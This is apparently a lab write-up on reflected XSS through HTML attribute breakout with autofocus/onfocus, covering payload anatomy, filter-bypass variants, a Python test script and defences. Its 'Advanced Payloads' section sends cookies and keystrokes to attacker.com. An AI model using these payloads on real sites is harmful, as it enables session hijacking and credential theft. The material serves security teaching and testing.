PortSwigger — 2025.12.02

Attribute Breakout XSS: autofocus + onfocus Auto-Execution

PortSwigger Reflected XSS (attribute breakout) medium

Overview

Attribute breakout XSS exploits user input reflected inside HTML attribute values. By injecting a closing quote, attackers can break out of the attribute context and inject malicious attributes like autofocus and onfocus to achieve automatic JavaScript execution.

The Attack Pattern

Vulnerable Code

<input type="text" value="USER_INPUT">

Payload

" autofocus onfocus=alert(1) x="

Result

<input type="text" value="" autofocus onfocus=alert(1) x="">

Execution

  • Page loads
  • Input auto-focuses (autofocus attribute)
  • JavaScript executes immediately (onfocus event)
  • No user interaction required!

Real-World Example

Lab Scenario

Original page structure:

<form>
  <input type="text" name="search" value="REFLECTED_HERE">
</form>
<h1>0 search results for 'ALSO_REFLECTED_HERE'</h1>

Payload:

" autofocus onfocus=print(document.domain) x="

Result after reflection:

<form>
  <input type="text" name="search" value="" autofocus onfocus=print(document.domain) x="">
</form>
<h1>0 search results for '" autofocus onfocus=print(document.domain) x="'</h1>

Key observation:

  • XSS in <input> element (attribute context)
  • No XSS in <h1> element (text content context)
  • Same input, different contexts!

Component Breakdown

Part 1: Close the Attribute

"

Purpose: Closes the value=" attribute

Before:

<input value="USER_INPUT">

After first quote:

<input value="">
              ^
        Attribute closed

Part 2: Inject Malicious Attributes

autofocus onfocus=alert(1)

autofocus:

  • HTML5 attribute
  • Makes element auto-focus on page load
  • Requires no user interaction
  • Works on input, textarea, select, button

onfocus:

  • Event handler that fires when element gets focus
  • Executes JavaScript code
  • Triggered immediately by autofocus
  • Creates automatic execution chain

Result:

<input value="" autofocus onfocus=alert(1)>

Part 3: Consume Trailing Quote

x="

Purpose:

  • Starts a dummy attribute named x
  • Consumes the original closing " from the HTML
  • Keeps HTML valid
  • Prevents syntax errors

Without dummy attribute:

<input value="" autofocus onfocus=alert(1)">
                                         ^
                                  Orphaned quote!
                                  Syntax error

With dummy attribute:

<input value="" autofocus onfocus=alert(1) x="">
                                           ^^
                              Our x=" consumes trailing "
                              HTML is valid!

Visual Breakdown

The Injection Process

Step 1: Original HTML

<input type="text" value="[INJECTION_POINT]">

Step 2: Inject Payload

Payload: " autofocus onfocus=alert(1) x="

Step 3: After Injection

<input type="text" value="" autofocus onfocus=alert(1) x="">
                          │                             ││
                          └──── Closes value            ││
                                                        ││
                            New attributes ─────────────┘│
                                                         │
                          Consumes trailing quote ───────┘

The Parsed Attributes

<input
  type="text"           ← Original attribute
  value=""              ← Empty value (closed early)
  autofocus             ← Injected attribute (auto-focus)
  onfocus=alert(1)      ← Injected attribute (execute JS)
  x=""                  ← Dummy attribute (consume quote)
>

Execution Flow

┌────────────────────────────────┐
│ 1. User Submits Malicious Search  │
│    ?search=" autofocus onfocus... │
└────────────────────────────────┘
              ↓
┌────────────────────────────────┐
│ 2. Server Reflects Input         │
│    In <input value=""> attribute  │
│    And in <h1> text content       │
└────────────────────────────────┘
              ↓
┌────────────────────────────────┐
│ 3. Browser Parses HTML           │
│    Sees autofocus attribute       │
│    Sees onfocus event handler     │
└────────────────────────────────┘
              ↓
┌────────────────────────────────┐
│ 4. Page Finishes Loading         │
│    autofocus triggers             │
│    Input receives focus           │
└────────────────────────────────┘
              ↓
┌────────────────────────────────┐
│ 5. onfocus Event Fires           │
│    JavaScript executes            │
│    alert(1) or custom payload     │
└────────────────────────────────┘
              ↓
┌────────────────────────────────┐
│ 6. XSS Complete                  │
│    No user interaction needed!    │
└────────────────────────────────┘

Quote Types: Double vs Single

If Double Quotes Used

Original:

<input value="USER_INPUT">

Payload:

" autofocus onfocus=alert(1) x="

Result:

<input value="" autofocus onfocus=alert(1) x="">

If Single Quotes Used

Original:

<input value='USER_INPUT'>

Payload:

' autofocus onfocus=alert(1) x='

Result:

<input value='' autofocus onfocus=alert(1) x=''>

If No Quotes (Less Common)

Original:

<input value=USER_INPUT>

Payload:

x autofocus onfocus=alert(1)

Result:

<input value=x autofocus onfocus=alert(1)>

Note: Space breaks out of unquoted attribute

Multiple Reflection Contexts

Why Same Input Has Different Results

Input can be reflected in multiple places:

1. Attribute Context (VULNERABLE)

<input value="USER_INPUT">
  • Quotes can break out
  • Can inject attributes
  • Can inject events
  • XSS possible

2. Text Content Context (SAFE)

<h1>USER_INPUT</h1>
<p>Search: USER_INPUT</p>
  • Automatically HTML encoded
  • " displays as "
  • < displays as <
  • No XSS (if properly encoded)

3. JavaScript Context (VULNERABLE)

<script>
  var search = 'USER_INPUT';
</script>
  • Can break out of string
  • Can inject code
  • XSS possible

Testing Strategy

Test string:

xss"'<>test

Check all reflections:

  1. View page source (Ctrl+U)
  2. Search for “xss” (your marker)
  3. Note each location
  4. Identify context (attribute, text, script)
  5. Test appropriate payload for each

Payload Variations

Basic Payloads

Double quotes:

" autofocus onfocus=alert(1) x="
" autofocus onfocus=alert(document.domain) x="
" autofocus onfocus=alert(document.cookie) x="

Single quotes:

' autofocus onfocus=alert(1) x='
' autofocus onfocus=alert(document.domain) x='

No quotes:

x autofocus onfocus=alert(1)

Alternative Events

If onfocus is blocked, try:

onclick (requires click):

" onclick=alert(1) x="

onmouseover (requires hover):

" onmouseover=alert(1) x="

onauxclick (right-click):

" onauxclick=alert(1) x="

onblur (when loses focus):

" autofocus onblur=alert(1) x="

Alternative Attributes

If autofocus is blocked:

accesskey (Alt+Shift+X):

" accesskey=x onclick=alert(1) x="

contenteditable:

" contenteditable onfocus=alert(1) x="

(Then click into the element)

tabindex:

" tabindex=1 onfocus=alert(1) x="

(Then tab to the element)

Encoding Bypasses

HTML entities:

" autofocus onfocus=alert&#40;1&#41; x="

JavaScript encoding:

" autofocus onfocus=\u0061lert(1) x="

String concatenation:

" autofocus onfocus=alert("1") x="
" autofocus onfocus=window['alert'](1) x="

Advanced Payloads

Cookie stealing:

" autofocus onfocus=fetch('https://attacker.com?c='+document.cookie) x="

Keylogging:

" autofocus onfocus=document.onkeypress=function(e){fetch('https://attacker.com?k='+e.key)} x="

Redirect:

" autofocus onfocus=location='https://attacker.com?c='+document.cookie x="

Common Vulnerable Patterns

Search Inputs

<input type="search" name="q" value="REFLECTED">

Text Inputs

<input type="text" name="username" value="REFLECTED">

Hidden Inputs

<input type="hidden" name="redirect" value="REFLECTED">

(Still executes with autofocus!)

Textarea

<textarea name="comment">REFLECTED</textarea>

Payload: </textarea><input autofocus onfocus=alert(1)>

Button Values

<button value="REFLECTED">Click</button>

Select Options

<option value="REFLECTED">Option</option>

Why Developers Miss This

Misconception 1: “I Encoded The Output”

Developer thinks:

// I'm encoding, so it's safe!
echo '<h1>' . htmlspecialchars($search) . '</h1>';

But forgets:

// Not encoding here!
echo '<input value="' . $search . '">';

Problem: Encoding in one place doesn’t protect other places

Developer thinks:

  • “Nobody can exploit a search box”
  • “It’s just showing search terms”
  • “Users only search for products”

Reality:

  • Attackers control the input
  • Can inject anything
  • Search boxes are prime XSS targets

Misconception 3: “Quotes Are Encoded”

Developer encodes in h1:

<h1>Search: &quot; autofocus onfocus=alert(1) x=&quot;</h1>

Safe here

But not in input:

<input value="" autofocus onfocus=alert(1) x="">

Vulnerable here

Misconception 4: “I Use a WAF”

WAF might block:

  • <script>alert(1)</script>
  • <img src=x onerror=alert(1)>

But might miss:

  • " autofocus onfocus=alert(1) x="
  • Doesn’t look like typical XSS
  • No tags, just attributes

Defense Strategies

1. Always Encode for Context

For attribute values (CRITICAL):

<input value="<?= htmlspecialchars($input, ENT_QUOTES, 'UTF-8') ?>">

Flags explained:

  • ENT_QUOTES - Encodes both " and '
  • 'UTF-8' - Character encoding

Result:

<!-- Input: " autofocus onfocus=alert(1) x=" -->
<input value="&quot; autofocus onfocus=alert(1) x=&quot;">
<!-- Harmless! Displayed as text, not executed -->

2. Use Content Security Policy

Content-Security-Policy: default-src 'self'; script-src 'self'

Benefit:

  • Blocks inline event handlers
  • onfocus=alert(1) won’t execute
  • Defense-in-depth layer

3. Use Frameworks with Auto-Escaping

React:

<input value={userInput} />
// Automatically escaped

Vue:

<input :value="userInput" />
// Automatically escaped

Angular:

<input [value]="userInput" />
// Automatically escaped

4. Validate Input

Whitelist approach:

// Only allow alphanumeric and spaces
if (!/^[a-zA-Z0-9\s]+$/.test(input)) {
    return "Invalid input";
}

Blacklist approach (less secure):

// Block dangerous characters
if (/["'<>]/.test(input)) {
    return "Invalid input";
}

Note: Blacklists are easily bypassed

5. Sanitize Libraries

DOMPurify (JavaScript):

const clean = DOMPurify.sanitize(dirty);

Bleach (Python):

import bleach
clean = bleach.clean(dirty)

Testing Methodology

Step 1: Identify Input Points

  • URL parameters
  • Form fields
  • Headers (User-Agent, Referer)
  • Cookies
  • POST body

Step 2: Submit Test String

xss"'<>test123

Step 3: Find All Reflections

View page source:

  • Ctrl+U (Chrome/Firefox)
  • Right-click -> View Source

Search for marker:

  • Ctrl+F -> “xss”
  • Note each location
  • Check context

Step 4: Test Appropriate Payload

If in attribute with double quotes:

" autofocus onfocus=alert(1) x="

If in attribute with single quotes:

' autofocus onfocus=alert(1) x='

If in text content:

<img src=x onerror=alert(1)>

Step 5: Verify Execution

  • Submit payload
  • Check if alert fires
  • Open DevTools Console (F12)
  • Look for errors
  • Verify autofocus works

Step 6: Refine Payload

  • Try different events
  • Try encoding
  • Try alternative attributes
  • Document working payload

Automation Script

import requests
from urllib.parse import quote

def test_attribute_xss(url, param='search'):
    """
    Test for attribute breakout XSS
    """

    payloads = [
        # Double quote variants
        '" autofocus onfocus=alert(1) x="',
        '" autofocus onfocus=alert(document.domain) x="',
        '" onclick=alert(1) x="',
        '" onmouseover=alert(1) x="',

        # Single quote variants
        "' autofocus onfocus=alert(1) x='",
        "' onclick=alert(1) x='",

        # No quotes
        'x autofocus onfocus=alert(1)',

        # Encoded
        '" autofocus onfocus=alert&#40;1&#41; x="',
    ]

    print(f"[*] Testing {url}\n")

    for i, payload in enumerate(payloads, 1):
        print(f"[*] Payload {i}: {payload}")

        try:
            r = requests.get(url, params={param: payload}, timeout=10)

            # Check if reflected in attribute context
            if 'autofocus' in r.text and 'onfocus' in r.text:
                # Check if in input/textarea/button
                if any(tag in r.text for tag in ['<input', '<textarea', '<button']):
                    print(f"    Potentially vulnerable!")
                    print(f"    Check manually: {r.url}")
                else:
                    print(f"    Reflected but context unclear")
            else:
                print(f"    Not reflected or blocked")

        except Exception as e:
            print(f"    Error: {str(e)}")

        print()

# Usage
test_attribute_xss('https://target.com/search')

Key Takeaways

  • Context Matters: Same input can be safe in text but vulnerable in attributes
  • Quotes Break Out: Closing quotes let you escape attribute values
  • autofocus + onfocus: Creates automatic execution without user interaction
  • Dummy Attributes: Consume trailing quotes to keep HTML valid
  • Multiple Reflections: Always check ALL places input appears
  • Defense Everywhere: Must encode in every context, not just one
  • Frameworks Help: Modern frameworks auto-escape by default
  • CSP Adds Layer: Content Security Policy blocks inline handlers
  • Systematic XSS Testing with Burp Intruder
  • XSS Testing Punch List
  • SVG xlink:href Namespace Bypass
  • SVG Dynamic Attribute Setting via Animation

References

#xss #reflected-xss #attribute-breakout #autofocus #onfocus #portswigger #webapp